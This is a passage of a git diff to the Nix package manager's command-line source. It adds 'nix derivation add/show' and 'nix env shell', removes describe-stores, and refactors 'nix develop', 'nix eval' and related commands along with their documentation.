`nix-daemon`'s responsibility. */ - processConnection(openUncachedStore(), from, to, Trusted, NotRecursive, [&](Store & _){}); - } - } else - daemonLoop(); -} - -static int main_nix_daemon(int argc, char * * argv) -{ - { - auto stdio = false; - - parseCmdLine(argc, argv, [&](Strings::iterator & arg, const Strings::iterator & end) { - if (*arg == "--daemon") - ; // ignored for backwards compatibility - else if (*arg == "--help") - showManPage("nix-daemon"); - else if (*arg == "--version") - printVersion("nix-daemon"); - else if (*arg == "--stdio") - stdio = true; - else return false; - return true; - }); - - runDaemon(stdio); - - return 0; - } -} - -static RegisterLegacyCommand r_nix_daemon("nix-daemon", main_nix_daemon); - -struct CmdDaemon : StoreCommand -{ - std::string description() override - { - return "daemon to perform store operations on behalf of non-root clients"; - } - - Category category() override { return catUtility; } - - std::string doc() override - { - return - #include "daemon.md" - ; - } - - void run(ref store) override - { - runDaemon(false); - } -}; - -static auto rCmdDaemon = registerCommand2({"daemon"}); diff --git a/src/nix/daemon.md b/src/nix/daemon.md deleted file mode 100644 index d5cdadf08..000000000 --- a/src/nix/daemon.md +++ /dev/null @@ -1,21 +0,0 @@ -R""( - -# Example - -* Run the daemon in the foreground: - - ```console - # nix daemon - ``` - -# Description - -This command runs the Nix daemon, which is a required component in -multi-user Nix installations. It runs build tasks and other -operations on the Nix store on behalf of non-root users. Usually you -don't run the daemon directly; instead it's managed by a service -management framework such as `systemd`. - -Note that this daemon does not fork into the background. - -)"" diff --git a/src/nix/derivation-add.cc b/src/nix/derivation-add.cc new file mode 100644 index 000000000..4d91d4538 --- /dev/null +++ b/src/nix/derivation-add.cc @@ -0,0 +1,45 @@ +// FIXME: rename to 'nix plan add' or 'nix derivation add'? + +#include "command.hh" +#include "common-args.hh" +#include "store-api.hh" +#include "archive.hh" +#include "derivations.hh" +#include + +using namespace nix; +using json = nlohmann::json; + +struct CmdAddDerivation : MixDryRun, StoreCommand +{ + std::string description() override + { + return "Add a store derivation"; + } + + std::string doc() override + { + return + #include "derivation-add.md" + ; + } + + Category category() override { return catUtility; } + + void run(ref store) override + { + auto json = nlohmann::json::parse(drainFD(STDIN_FILENO)); + + auto drv = Derivation::fromJSON(*store, json); + + auto drvPath = writeDerivation(*store, drv, NoRepair, /* read only */ dryRun); + + drv.checkInvariants(*store, drvPath); + + writeDerivation(*store, drv, NoRepair, dryRun); + + logger->cout("%s", store->printStorePath(drvPath)); + } +}; + +static auto rCmdAddDerivation = registerCommand2({"derivation", "add"}); diff --git a/src/nix/derivation-add.md b/src/nix/derivation-add.md new file mode 100644 index 000000000..331cbdd88 --- /dev/null +++ b/src/nix/derivation-add.md @@ -0,0 +1,19 @@ +R""( + +# Description + +This command reads from standard input a JSON representation of a +[store derivation] to which an [*installable*](./nix.md#installables) evaluates. + +Store derivations are used internally by Nix. They are store paths with +extension `.drv` that represent the build-time dependency graph to which +a Nix expression evaluates. + + +[store derivation]: @docroot@/glossary.md#gloss-store-derivation + +`nix derivation add` takes a single derivation in the following format: + +{{#include ../../protocols/json/derivation.md}} + +)"" diff --git a/src/nix/derivation-show.cc b/src/nix/derivation-show.cc new file mode 100644 index 000000000..bf637246d --- /dev/null +++ b/src/nix/derivation-show.cc @@ -0,0 +1,64 @@ +// FIXME: integrate this with nix path-info? +// FIXME: rename to 'nix store derivation show' or 'nix debug derivation show'? + +#include "command.hh" +#include "common-args.hh" +#include "store-api.hh" +#include "archive.hh" +#include "derivations.hh" +#include + +using namespace nix; +using json = nlohmann::json; + +struct CmdShowDerivation : InstallablesCommand +{ + bool recursive = false; + + CmdShowDerivation() + { + addFlag({ + .longName = "recursive", + .shortName = 'r', + .description = "Include the dependencies of the specified derivations.", + .handler = {&recursive, true} + }); + } + + std::string description() override + { + return "show the contents of a store derivation"; + } + + std::string doc() override + { + return + #include "derivation-show.md" + ; + } + + Category category() override { return catUtility; } + + void run(ref store, Installables && installables) override + { + auto drvPaths = Installable::toDerivations(store, installables, true); + + if (recursive) { + StorePathSet closure; + store->computeFSClosure(drvPaths, closure); + drvPaths = std::move(closure); + } + + json jsonRoot = json::object(); + + for (auto & drvPath : drvPaths) { + if (!drvPath.isDerivation()) continue; + + jsonRoot[store->printStorePath(drvPath)] = + store->readDerivation(drvPath).toJSON(*store); + } + logger->cout(jsonRoot.dump(2)); + } +}; + +static auto rCmdShowDerivation = registerCommand2({"derivation", "show"}); diff --git a/src/nix/derivation-show.md b/src/nix/derivation-show.md new file mode 100644 index 000000000..9fff58ef9 --- /dev/null +++ b/src/nix/derivation-show.md @@ -0,0 +1,57 @@ +R""( + +# Examples + +* Show the [store derivation] that results from evaluating the Hello + package: + + ```console + # nix derivation show nixpkgs#hello + { + "/nix/store/s6rn4jz1sin56rf4qj5b5v8jxjm32hlk-hello-2.10.drv": { + … + } + } + ``` + +* Show the full derivation graph (if available) that produced your + NixOS system: + + ```console + # nix derivation show -r /run/current-system + ``` + +* Print all files fetched using `fetchurl` by Firefox's dependency + graph: + + ```console + # nix derivation show -r nixpkgs#firefox \ + | jq -r '.[] | select(.outputs.out.hash and .env.urls) | .env.urls' \ + | uniq | sort + ``` + + Note that `.outputs.out.hash` selects *fixed-output derivations* + (derivations that produce output with a specified content hash), + while `.env.urls` selects derivations with a `urls` attribute. + +# Description + +This command prints on standard output a JSON representation of the +[store derivation]s to which [*installables*](./nix.md#installables) evaluate. + +Store derivations are used internally by Nix. They are store paths with +extension `.drv` that represent the build-time dependency graph to which +a Nix expression evaluates. + +By default, this command only shows top-level derivations, but with +`--recursive`, it also shows their dependencies. + +[store derivation]: @docroot@/glossary.md#gloss-store-derivation + +`nix derivation show` outputs a JSON map of [store path]s to derivations in the following format: + +[store path]: @docroot@/store/store-path.md + +{{#include ../../protocols/json/derivation.md}} + +)"" diff --git a/src/nix/derivation.cc b/src/nix/derivation.cc new file mode 100644 index 000000000..59a78d378 --- /dev/null +++ b/src/nix/derivation.cc @@ -0,0 +1,18 @@ +#include "command.hh" + +using namespace nix; + +struct CmdDerivation : NixMultiCommand +{ + CmdDerivation() : NixMultiCommand("derivation", RegisterCommand::getCommandsFor({"derivation"})) + { } + + std::string description() override + { + return "Work with derivations, Nix's notion of a build plan."; + } + + Category category() override { return catUtility; } +}; + +static auto rCmdDerivation = registerCommand("derivation"); diff --git a/src/nix/describe-stores.cc b/src/nix/describe-stores.cc deleted file mode 100644 index 1dd384c0e..000000000 --- a/src/nix/describe-stores.cc +++ /dev/null @@ -1,44 +0,0 @@ -#include "command.hh" -#include "common-args.hh" -#include "shared.hh" -#include "store-api.hh" - -#include - -using namespace nix; - -struct CmdDescribeStores : Command, MixJSON -{ - std::string description() override - { - return "show registered store types and their available options"; - } - - Category category() override { return catUtility; } - - void run() override - { - auto res = nlohmann::json::object(); - for (auto & implem : *Implementations::registered) { - auto storeConfig = implem.getConfig(); - auto storeName = storeConfig->name(); - res[storeName] = storeConfig->toJSON(); - } - if (json) { - std::cout << res; - } else { - for (auto & [storeName, storeConfig] : res.items()) { - std::cout << "## " << storeName << std::endl << std::endl; - for (auto & [optionName, optionDesc] : storeConfig.items()) { - std::cout << "### " << optionName << std::endl << std::endl; - std::cout << optionDesc["description"].get() << std::endl; - std::cout << "default: " << optionDesc["defaultValue"] << std::endl <("describe-stores"); diff --git a/src/nix/develop.cc b/src/nix/develop.cc index 6c3a9c6c6..effc86a0a 100644 --- a/src/nix/develop.cc +++ b/src/nix/develop.cc @@ -1,15 +1,25 @@ +#include "config-global.hh" #include "eval.hh" -#include "command.hh" +#include "installable-flake.hh" +#include "command-installable-value.hh" #include "common-args.hh" #include "shared.hh" #include "store-api.hh" -#include "path-with-outputs.hh" +#include "outputs-spec.hh" #include "derivations.hh" #include "progress-bar.hh" -#include "run.hh" +#ifndef _WIN32 // TODO re-enable on Windows +# include "run.hh" +#endif + +#include #include +#include #include +#include + +#include "strings.hh" using namespace nix; @@ -50,6 +60,7 @@ struct BuildEnvironment std::map vars; std::map bashFunctions; + std::optional> structuredAttrs; static BuildEnvironment fromJSON(std::string_view in) { @@ -73,6 +84,10 @@ struct BuildEnvironment res.bashFunctions.insert({name, def}); } + if (json.contains("structuredAttrs")) { + res.structuredAttrs = {json["structuredAttrs"][".attrs.json"], json["structuredAttrs"][".attrs.sh"]}; + } + return res; } @@ -101,6 +116,13 @@ struct BuildEnvironment res["bashFunctions"] = bashFunctions; + if (providesStructuredAttrs()) { + auto contents = nlohmann::json::object(); + contents[".attrs.sh"] = getAttrsSH(); + contents[".attrs.json"] = getAttrsJSON(); + res["structuredAttrs"] = std::move(contents); + } + auto json = res.dump(); assert(BuildEnvironment::fromJSON(json) == *this); @@ -108,6 +130,23 @@ struct BuildEnvironment return json; } + bool providesStructuredAttrs() const + { + return structuredAttrs.has_value(); + } + + std::string getAttrsJSON() const + { + assert(providesStructuredAttrs()); + return structuredAttrs->first; + } + + std::string getAttrsSH() const + { + assert(providesStructuredAttrs()); + return structuredAttrs->second; + } + void toBash(std::ostream & out, const std::set & ignoreVars) const { for (auto & [name, value] : vars) { @@ -145,6 +184,14 @@ struct BuildEnvironment throw Error("bash variable is not a string"); } + static Associative getAssociative(const Value & value) + { + if (auto assoc = std::get_if(&value)) + return *assoc; + else + throw Error("bash variable is not an associative array"); + } + static Array getStrings(const Value & value) { if (auto str = std::get_if(&value)) @@ -164,6 +211,14 @@ struct BuildEnvironment { return vars == other.vars && bashFunctions == other.bashFunctions; } + + std::string getSystem() const + { + if (auto v = get(vars, "system")) + return getString(*v); + else + return settings.thisSystem; + } }; const static std::string getEnvSh = @@ -183,7 +238,11 @@ static StorePath getDerivationEnvironment(ref store, ref evalStore if (builder != "bash") throw Error("'nix develop' only works on derivations that use 'bash' as their builder"); - auto getEnvShPath = evalStore->addTextToStore("get-env.sh", getEnvSh, {}); + auto getEnvShPath = ({ + StringSource source { getEnvSh }; + evalStore->addToStoreFromDump( + source, "get-env.sh", FileSerialisationMethod::Flat, ContentAddressMethod::Raw::Text, HashAlgorithm::SHA256, {}); + }); drv.args = {store->printStorePath(getEnvShPath)}; @@ -199,7 +258,7 @@ static StorePath getDerivationEnvironment(ref store, ref evalStore drv.name += "-env"; drv.env.emplace("name", drv.name); drv.inputSrcs.insert(std::move(getEnvShPath)); - if (settings.isExperimentalFeatureEnabled(Xp::CaDerivations)) { + if (experimentalFeatureSettings.isEnabled(Xp::CaDerivations)) { for (auto & output : drv.outputs) { output.second = DerivationOutput::Deferred {}, drv.env[output.first] = hashPlaceholder(output.first); @@ -224,7 +283,12 @@ static StorePath getDerivationEnvironment(ref store, ref evalStore auto shellDrvPath = writeDerivation(*evalStore, drv); /* Build the derivation. */ - store->buildPaths({DerivedPath::Built{shellDrvPath}}, bmNormal, evalStore); + store->buildPaths( + { DerivedPath::Built { + .drvPath = makeConstantStorePathRef(shellDrvPath), + .outputs = OutputsSpec::All { }, + }}, + bmNormal, evalStore); for (auto & [_0, optPath] : evalStore->queryPartialDerivationOutputMap(shellDrvPath)) { assert(optPath); @@ -248,7 +312,6 @@ struct Common : InstallableCommand, MixProfile "NIX_LOG_FD", "NIX_REMOTE", "PPID", - "SHELL", "SHELLOPTS", "SSL_CERT_FILE", // FIXME: only want to ignore /no-cert-file.crt "TEMP", @@ -277,7 +340,8 @@ struct Common : InstallableCommand, MixProfile std::string makeRcScript( ref store, const BuildEnvironment & buildEnvironment, - const Path & outputsDir = absPath(".") + "/outputs") + const std::filesystem::path & tmpDir, + const std::filesystem::path & outputsDir = std::filesystem::path { absPath(".") } / "outputs") { // A list of colon-separated environment variables that should be // prepended to, rather than overwritten, in order to keep the shell usable. @@ -299,13 +363,13 @@ struct Common : InstallableCommand, MixProfile buildEnvironment.toBash(out, ignoreVars); for (auto & var : savedVars) - out << fmt("%s=\"$%s:$nix_saved_%s\"\n", var, var, var); + out << fmt("%s=\"$%s${nix_saved_%s:+:$nix_saved_%s}\"\n", var, var, var, var); out << "export NIX_BUILD_TOP=\"$(mktemp -d -t nix-shell.XXXXXX)\"\n"; for (auto & i : {"TMP", "TMPDIR", "TEMP", "TEMPDIR"}) out << fmt("export %s=\"$NIX_BUILD_TOP\"\n", i); - out << "eval \"$shellHook\"\n"; + out << "eval \"${shellHook:-}\"\n"; auto script = out.str(); @@ -313,20 +377,30 @@ struct Common : InstallableCommand, MixProfile auto outputs = buildEnvironment.vars.find("outputs"); assert(outputs != buildEnvironment.vars.end()); - // FIXME: properly unquote 'outputs'. StringMap rewrites; - for (auto & outputName : BuildEnvironment::getStrings(outputs->second)) { - auto from = buildEnvironment.vars.find(outputName); - assert(from != buildEnvironment.vars.end()); - // FIXME: unquote - rewrites.insert({BuildEnvironment::getString(from->second), outputsDir + "/" + outputName}); + if (buildEnvironment.providesStructuredAttrs()) { + for (auto & [outputName, from] : BuildEnvironment::getAssociative(outputs->second)) { + rewrites.insert({ + from, + (outputsDir / outputName).string() + }); + } + } else { + for (auto & outputName : BuildEnvironment::getStrings(outputs->second)) { + auto from = buildEnvironment.vars.find(outputName); + assert(from != buildEnvironment.vars.end()); + rewrites.insert({ + BuildEnvironment::getString(from->second), + (outputsDir / outputName).string(), + }); + } } /* Substitute redirects. */ for (auto & [installable_, dir_] : redirects) { auto dir = absPath(dir_); auto installable = parseInstallable(store, installable_); - auto builtPaths = Installable::toStorePaths( + auto builtPaths = Installable::toStorePathSet( getEvalStore(), store, Realise::Nothing, OperateOn::Output, {installable}); for (auto & path: builtPaths) { auto from = store->printStorePath(path); @@ -339,9 +413,50 @@ struct Common : InstallableCommand, MixProfile } } + if (buildEnvironment.providesStructuredAttrs()) { + fixupStructuredAttrs( + OS_STR("sh"), + "NIX_ATTRS_SH_FILE", + buildEnvironment.getAttrsSH(), + rewrites, + buildEnvironment, + tmpDir + ); + fixupStructuredAttrs( + OS_STR("json"), + "NIX_ATTRS_JSON_FILE", + buildEnvironment.getAttrsJSON(), + rewrites, + buildEnvironment, + tmpDir + ); + } + return rewriteStrings(script, rewrites); } + /** + * Replace the value of NIX_ATTRS_*_FILE (`/build/.attrs.*`) with a tmp file + * that's accessible from the interactive shell session. + */ + void fixupStructuredAttrs( + PathViewNG::string_view ext, + const std::string & envVar, + const std::string & content, + StringMap & rewrites, + const BuildEnvironment & buildEnvironment, + const std::filesystem::path & tmpDir) + { + auto targetFilePath = tmpDir / OS_STR(".attrs."); + targetFilePath += ext; + + writeFile(targetFilePath.string(), content); + + auto fileInBuilderEnv = buildEnvironment.vars.find(envVar); + assert(fileInBuilderEnv != buildEnvironment.vars.end()); + rewrites.insert({BuildEnvironment::getString(fileInBuilderEnv->second), targetFilePath.string()}); + } + Strings getDefaultFlakeAttrPaths() override { Strings paths{ @@ -360,7 +475,7 @@ struct Common : InstallableCommand, MixProfile return res; } - StorePath getShellOutPath(ref store) + StorePath getShellOutPath(ref store, ref installable) { auto path = installable->getStorePath(); if (path && hasSuffix(path->to_string(), "-env")) @@ -378,9 +493,10 @@ struct Common : InstallableCommand, MixProfile } } - std::pair getBuildEnvironment(ref store) + std::pair + getBuildEnvironment(ref store, ref installable) { - auto shellOutPath = getShellOutPath(store); + auto shellOutPath = getShellOutPath(store, installable); auto strPath = store->printStorePath(shellOutPath); @@ -466,13 +582,15 @@ struct CmdDevelop : Common, MixEnvironment ; } - void run(ref store) override + void run(ref store, ref installable) override { - auto [buildEnvironment, gcroot] = getBuildEnvironment(store); + auto [buildEnvironment, gcroot] = getBuildEnvironment(store, installable); auto [rcFileFd, rcFilePath] = createTempFile("nix-shell"); - auto script = makeRcScript(store, buildEnvironment); + AutoDelete tmpDir(createTempDir("", "nix-develop"), true); + + auto script = makeRcScript(store, buildEnvironment, tmpDir); if (verbosity >= lvlDebug) script += "set -x\n"; @@ -496,7 +614,7 @@ struct CmdDevelop : Common, MixEnvironment } else { - script = "[ -n \"$PS1\" ] && [ -e ~/.bashrc ] && source ~/.bashrc;\n" + script; + script = "[ -n \"$PS1\" ] && [ -e ~/.bashrc ] && source ~/.bashrc;\nshopt -u expand_aliases\n" + script + "\nshopt -s expand_aliases\n"; if (developSettings.bashPrompt != "") script += fmt("[ -n \"$PS1\" ] && PS1=%s;\n", shellEscape(developSettings.bashPrompt.get())); @@ -512,7 +630,7 @@ struct CmdDevelop : Common, MixEnvironment setEnviron(); // prevent garbage collection until shell exits - setenv("NIX_GCROOT", gcroot.data(), 1); + setEnv("NIX_GCROOT", gcroot.c_str()); Path shell = "bash"; @@ -523,19 +641,23 @@ struct CmdDevelop : Common, MixEnvironment nixpkgsLockFlags.inputOverrides = {}; nixpkgsLockFlags.inputUpdates = {}; - auto bashInstallable = std::make_shared( + auto nixpkgs = defaultNixpkgsFlakeRef(); + if (auto * i = dynamic_cast(&*installable)) + nixpkgs = i->nixpkgsFlakeRef(); + + auto bashInstallable = make_ref( this, state, - installable->nixpkgsFlakeRef(), + std::move(nixpkgs), "bashInteractive", - DefaultOutputs(), + ExtendedOutputsSpec::Default(), Strings{}, Strings{"legacyPackages." + settings.thisSystem.get() + "."}, nixpkgsLockFlags); bool found = false; - for (auto & path : Installable::toStorePaths(getEvalStore(), store, Realise::Outputs, OperateOn::Output, {bashInstallable})) { + for (auto & path : Installable::toStorePathSet(getEvalStore(), store, Realise::Outputs, OperateOn::Output, {bashInstallable})) { auto s = store->printStorePath(path) + "/bin/bash"; if (pathExists(s)) { shell = s; @@ -551,6 +673,13 @@ struct CmdDevelop : Common, MixEnvironment ignoreException(); } + // Override SHELL with the one chosen for this environment. + // This is to make sure the system shell doesn't leak into the build environment. + setEnv("SHELL", shell.c_str()); + +#ifdef _WIN32 // TODO re-enable on Windows + throw UnimplementedError("Cannot yet spawn processes on Windows"); +#else // If running a phase or single command, don't want an interactive shell running after // Ctrl-C, so don't pass --rcfile auto args = phase || !command.empty() ? Strings{std::string(baseNameOf(shell)), rcFilePath} @@ -559,7 +688,7 @@ struct CmdDevelop : Common, MixEnvironment // Need to chdir since phases assume in flake directory if (phase) { // chdir if installable is a flake of type git+file or path - auto installableFlake = std::dynamic_pointer_cast(installable); + auto installableFlake = installable.dynamic_pointer_cast(); if (installableFlake) { auto sourcePath = installableFlake->getLockedFlake()->flake.resolvedRef.input.getSourcePath(); if (sourcePath) { @@ -570,7 +699,12 @@ struct CmdDevelop : Common, MixEnvironment } } - runProgramInStore(store, shell, args); + // Release our references to eval caches to ensure they are persisted to disk, because + // we are about to exec out of this process without running C++ destructors. + getEvalState()->evalCaches.clear(); + + execProgramInStore(store, UseLookupPath::Use, shell, args, buildEnvironment.getSystem()); +#endif } }; @@ -590,16 +724,18 @@ struct CmdPrintDevEnv : Common, MixJSON Category category() override { return catUtility; } - void run(ref store) override + void run(ref store, ref installable) override { - auto buildEnvironment = getBuildEnvironment(store).first; + auto buildEnvironment = getBuildEnvironment(store, installable).first; stopProgressBar(); - logger->writeToStdout( - json - ? buildEnvironment.toJSON() - : makeRcScript(store, buildEnvironment)); + if (json) { + logger->writeToStdout(buildEnvironment.toJSON()); + } else { + AutoDelete tmpDir(createTempDir("", "nix-dev-env"), true); + logger->writeToStdout(makeRcScript(store, buildEnvironment, tmpDir)); + } } }; diff --git a/src/nix/develop.md b/src/nix/develop.md index 4e8542d1b..c49b39669 100644 --- a/src/nix/develop.md +++ b/src/nix/develop.md @@ -76,7 +76,7 @@ R""( `nix develop` starts a `bash` shell that provides an interactive build environment nearly identical to what Nix would use to build -*installable*. Inside this shell, environment variables and shell +[*installable*](./nix.md#installables). Inside this shell, environment variables and shell functions are set up so that you can interactively and incrementally build your package. diff --git a/src/nix/diff-closures.cc b/src/nix/diff-closures.cc index 0621d662c..2bc7fe82b 100644 --- a/src/nix/diff-closures.cc +++ b/src/nix/diff-closures.cc @@ -6,6 +6,8 @@ #include +#include "strings.hh" + namespace nix { struct Info @@ -23,15 +25,17 @@ GroupedPaths getClosureInfo(ref store, const StorePath & toplevel) GroupedPaths groupedPaths; - for (auto & path : closure) { + for (auto const & path : closure) { /* Strip the output name. Unfortunately this is ambiguous (we can't distinguish between output names like "bin" and version suffixes like "unstable"). */ static std::regex regex("(.*)-([a-z]+|lib32|lib64)"); - std::smatch match; - std::string name(path.name()); + std::cmatch match; + std::string name{path.name()}; + std::string_view const origName = path.name(); std::string outputName; - if (std::regex_match(name, match, regex)) { + + if (std::regex_match(origName.begin(), origName.end(), match, regex)) { name = match[1]; outputName = match[2]; } @@ -97,7 +101,7 @@ void printClosureDiff( items.push_back(fmt("%s → %s", showVersions(removed), showVersions(added))); if (showDelta) items.push_back(fmt("%s%+.1f KiB" ANSI_NORMAL, sizeDelta > 0 ? ANSI_RED : ANSI_GREEN, sizeDelta / 1024.0)); - std::cout << fmt("%s%s: %s\n", indent, name, concatStringsSep(", ", items)); + logger->cout("%s%s: %s", indent, name, concatStringsSep(", ", items)); } } } @@ -106,7 +110,7 @@ void printClosureDiff( using namespace nix; -struct CmdDiffClosures : SourceExprCommand +struct CmdDiffClosures : SourceExprCommand, MixOperateOnOptions { std::string _before, _after; diff --git a/src/nix/doc b/src/nix/doc new file mode 120000 index 000000000..7e57b0f58 --- /dev/null +++ b/src/nix/doc @@ -0,0 +1 @@ +../../doc \ No newline at end of file diff --git a/src/nix/dump-path.cc b/src/nix/dump-path.cc index c4edc894b..953d77d31 100644 --- a/src/nix/dump-path.cc +++ b/src/nix/dump-path.cc @@ -20,7 +20,7 @@ struct CmdDumpPath : StorePathCommand void run(ref store, const StorePath & storePath) override { - FdSink sink(STDOUT_FILENO); + FdSink sink(getStandardOut()); store->narFromPath(storePath, sink); sink.flush(); } @@ -55,10 +55,18 @@ struct CmdDumpPath2 : Command void run() override { - FdSink sink(STDOUT_FILENO); + FdSink sink(getStandardOut()); dumpPath(path, sink); sink.flush(); } }; -static auto rDumpPath2 = registerCommand2({"nar", "dump-path"}); +struct CmdNarDumpPath : CmdDumpPath2 { + void run() override { + warn("'nix nar dump-path' is a deprecated alias for 'nix nar pack'"); + CmdDumpPath2::run(); + } +}; + +static auto rCmdNarPack = registerCommand2({"nar", "pack"}); +static auto rCmdNarDumpPath = registerCommand2({"nar", "dump-path"}); diff --git a/src/nix/edit.cc b/src/nix/edit.cc index 76a134b1f..9cbab230b 100644 --- a/src/nix/edit.cc +++ b/src/nix/edit.cc @@ -1,14 +1,16 @@ -#include "command.hh" +#include "current-process.hh" +#include "command-installable-value.hh" #include "shared.hh" #include "eval.hh" #include "attr-path.hh" #include "progress-bar.hh" +#include "editor-for.hh" #include using namespace nix; -struct CmdEdit : InstallableCommand +struct CmdEdit : InstallableValueCommand { std::string description() override { @@ -24,7 +26,7 @@ struct CmdEdit : InstallableCommand Category category() override { return catSecondary; } - void run(ref store) override + void run(ref store, ref installable) override { auto state = getEvalState(); diff --git a/src/nix/env.cc b/src/nix/env.cc new file mode 100644 index 000000000..832320320 --- /dev/null +++ b/src/nix/env.cc @@ -0,0 +1,116 @@ +#include +#include + +#include "command.hh" +#include "eval.hh" +#include "run.hh" +#include "strings.hh" +#include "executable-path.hh" + +using namespace nix; + +struct CmdEnv : NixMultiCommand +{ + CmdEnv() + : NixMultiCommand("env", RegisterCommand::getCommandsFor({"env"})) + { + } + + std::string description() override + { + return "manipulate the process environment"; + } + + Category category() override + { + return catUtility; + } +}; + +static auto rCmdEnv = registerCommand("env"); + +struct CmdShell : InstallablesCommand, MixEnvironment +{ + + using InstallablesCommand::run; + + std::vector command = {getEnv("SHELL").value_or("bash")}; + + CmdShell() + { + addFlag( + {.longName = "command", + .shortName = 'c', + .description = "Command and arguments to be executed, defaulting to `$SHELL`", + .labels = {"command", "args"}, + .handler = {[&](std::vector ss) { + if (ss.empty()) + throw UsageError("--command requires at least one argument"); + command = ss; + }}}); + } + + std::string description() override + { + return "run a shell in which the specified packages are available"; + } + + std::string doc() override + { + return +#include "shell.md" + ; + } + + void run(ref store, Installables && installables) override + { + auto outPaths = + Installable::toStorePaths(getEvalStore(), store, Realise::Outputs, OperateOn::Output, installables); + + auto accessor = store->getFSAccessor(); + + std::unordered_set done; + std::queue todo; + for (auto & path : outPaths) + todo.push(path); + + setEnviron(); + + std::vector pathAdditions; + + while (!todo.empty()) { + auto path = todo.front(); + todo.pop(); + if (!done.insert(path).second) + continue; + + if (true) + pathAdditions.push_back(store->printStorePath(path) + "/bin"); + + auto propPath = accessor->resolveSymlinks( + CanonPath(store->printStorePath(path)) / "nix-support" / "propagated-user-env-packages"); + if (auto st = accessor->maybeLstat(propPath); st && st->type == SourceAccessor::tRegular) { + for (auto & p : tokenizeString(accessor->readFile(propPath))) + todo.push(store->parseStorePath(p)); + } + } + + // TODO: split losslessly; empty means . + auto unixPath = ExecutablePath::load(); + unixPath.directories.insert(unixPath.directories.begin(), pathAdditions.begin(), pathAdditions.end()); + auto unixPathString = unixPath.render(); + setEnvOs(OS_STR("PATH"), unixPathString.c_str()); + + Strings args; + for (auto & arg : command) + args.push_back(arg); + + // Release our references to eval caches to ensure they are persisted to disk, because + // we are about to exec out of this process without running C++ destructors. + getEvalState()->evalCaches.clear(); + + execProgramInStore(store, UseLookupPath::Use, *command.begin(), args); + } +}; + +static auto rCmdShell = registerCommand2({"env", "shell"}); diff --git a/src/nix/eval.cc b/src/nix/eval.cc index ba82b5772..512e68711 100644 --- a/src/nix/eval.cc +++ b/src/nix/eval.cc @@ -1,4 +1,4 @@ -#include "command.hh" +#include "command-installable-value.hh" #include "common-args.hh" #include "shared.hh" #include "store-api.hh" @@ -11,13 +11,13 @@ using namespace nix; -struct CmdEval : MixJSON, InstallableCommand +struct CmdEval : MixJSON, InstallableValueCommand, MixReadOnlyOption { bool raw = false; std::optional apply; std::optional writeTo; - CmdEval() : InstallableCommand(true /* supportReadOnlyMode */) + CmdEval() : InstallableValueCommand() { addFlag({ .longName = "raw", @@ -54,7 +54,7 @@ struct CmdEval : MixJSON, InstallableCommand Category category() override { return catSecondary; } - void run(ref store) override + void run(ref store, ref installable) override { if (raw && json) throw UsageError("--raw and --json are mutually exclusive"); @@ -62,11 +62,11 @@ struct CmdEval : MixJSON, InstallableCommand auto state = getEvalState(); auto [v, pos] = installable->toValue(*state); - PathSet context; + NixStringContext context; if (apply) { auto vApply = state->allocValue(); - state->eval(state->parseExprFromString(*apply, absPath(".")), *vApply); + state->eval(state->parseExprFromString(*apply, state->rootPath(".")), *vApply); auto vRes = state->allocValue(); state->callFunction(*vApply, *v, *vRes, noPos); v = vRes; @@ -78,33 +78,33 @@ struct CmdEval : MixJSON, InstallableCommand if (pathExists(*writeTo)) throw Error("path '%s' already exists", *writeTo); - std::function recurse; + std::function recurse; - recurse = [&](Value & v, const PosIdx pos, const Path & path) + recurse = [&](Value & v, const PosIdx pos, const std::filesystem::path & path) { state->forceValue(v, pos); if (v.type() == nString) // FIXME: disallow strings with contexts? - writeFile(path, v.string.s); + writeFile(path.string(), v.string_view()); else if (v.type() == nAttrs) { - if (mkdir(path.c_str(), 0777) == -1) - throw SysError("creating directory '%s'", path); - for (auto & attr : *v.attrs) { + // TODO abstract mkdir perms for Windows + createDir(path.string(), 0777); + for (auto & attr : *v.attrs()) { std::string_view name = state->symbols[attr.name]; try { if (name == "." || name == "..") throw Error("invalid file name '%s'", name); - recurse(*attr.value, attr.pos, concatStrings(path, "/", name)); + recurse(*attr.value, attr.pos, path / name); } catch (Error & e) { e.addTrace( state->positions[attr.pos], - hintfmt("while evaluating the attribute '%s'", name)); + HintFmt("while evaluating the attribute '%s'", name)); throw; } } } else - throw TypeError("value at '%s' is not a string or an attribute set", state->positions[pos]); + state->error("value at '%s' is not a string or an attribute set", state->positions[pos]).debugThrow(); }; recurse(*v, pos, *writeTo); @@ -112,16 +112,25 @@ struct CmdEval : MixJSON, InstallableCommand else if (raw) { stopProgressBar(); - std::cout << *state->coerceToString(noPos, *v, context); + writeFull(getStandardOut(), *state->coerceToString(noPos, *v, context, "while generating the eval command output")); } else if (json) { - std::cout << printValueAsJSON(*state, true, *v, pos, context, false).dump() << std::endl; + logger->cout("%s", printValueAsJSON(*state, true, *v, pos, context, false)); } else { - state->forceValueDeep(*v); - logger->cout("%s", printValue(*state, *v)); + logger->cout( + "%s", + ValuePrinter( + *state, + *v, + PrintOptions { + .force = true, + .derivationPaths = true + } + ) + ); } } }; diff --git a/src/nix/eval.md b/src/nix/eval.md index 61334cde1..48d5aa597 100644 --- a/src/nix/eval.md +++ b/src/nix/eval.md @@ -18,7 +18,7 @@ R""( * Evaluate a Nix expression from a file: ```console - # nix eval -f ./my-nixpkgs hello.name + # nix eval --file ./my-nixpkgs hello.name ``` * Get the current version of the `nixpkgs` flake: @@ -50,7 +50,7 @@ R""( # Description -This command evaluates the Nix expression *installable* and prints the +This command evaluates the given Nix expression and prints the result on standard output. # Output format diff --git a/src/nix/flake-check.md b/src/nix/flake-check.md index 07031c909..c8307f8d8 100644 --- a/src/nix/flake-check.md +++ b/src/nix/flake-check.md @@ -68,6 +68,6 @@ The following flake output attributes must be In addition, the `hydraJobs` output is evaluated in the same way as Hydra's `hydra-eval-jobs` (i.e. as a arbitrarily deeply nested attribute set of derivations). Similarly, the -`legacyPackages`.*system* output is evaluated like `nix-env -qa`. +`legacyPackages`.*system* output is evaluated like `nix-env --query --available `. )"" diff --git a/src/nix/flake-init.md b/src/nix/flake-init.md index fc1f4f805..e14dfad7e 100644 --- a/src/nix/flake-init.md +++ b/src/nix/flake-init.md @@ -30,7 +30,7 @@ using `-t`. # Template definitions A flake can declare templates through its `templates` output -attribute. A template has two attributes: +attribute. A template has the following attributes: * `description`: A one-line description of the template, in CommonMark syntax. @@ -56,7 +56,7 @@ outputs = { self }: { ## More info - [Rust language](https://www.rust-lang.org/) - - [Rust on the NixOS Wiki](https://nixos.wiki/wiki/Rust) + - [Rust on the NixOS Wiki](https://wiki.nixos.org/wiki/Rust) - ... ''; }; diff --git 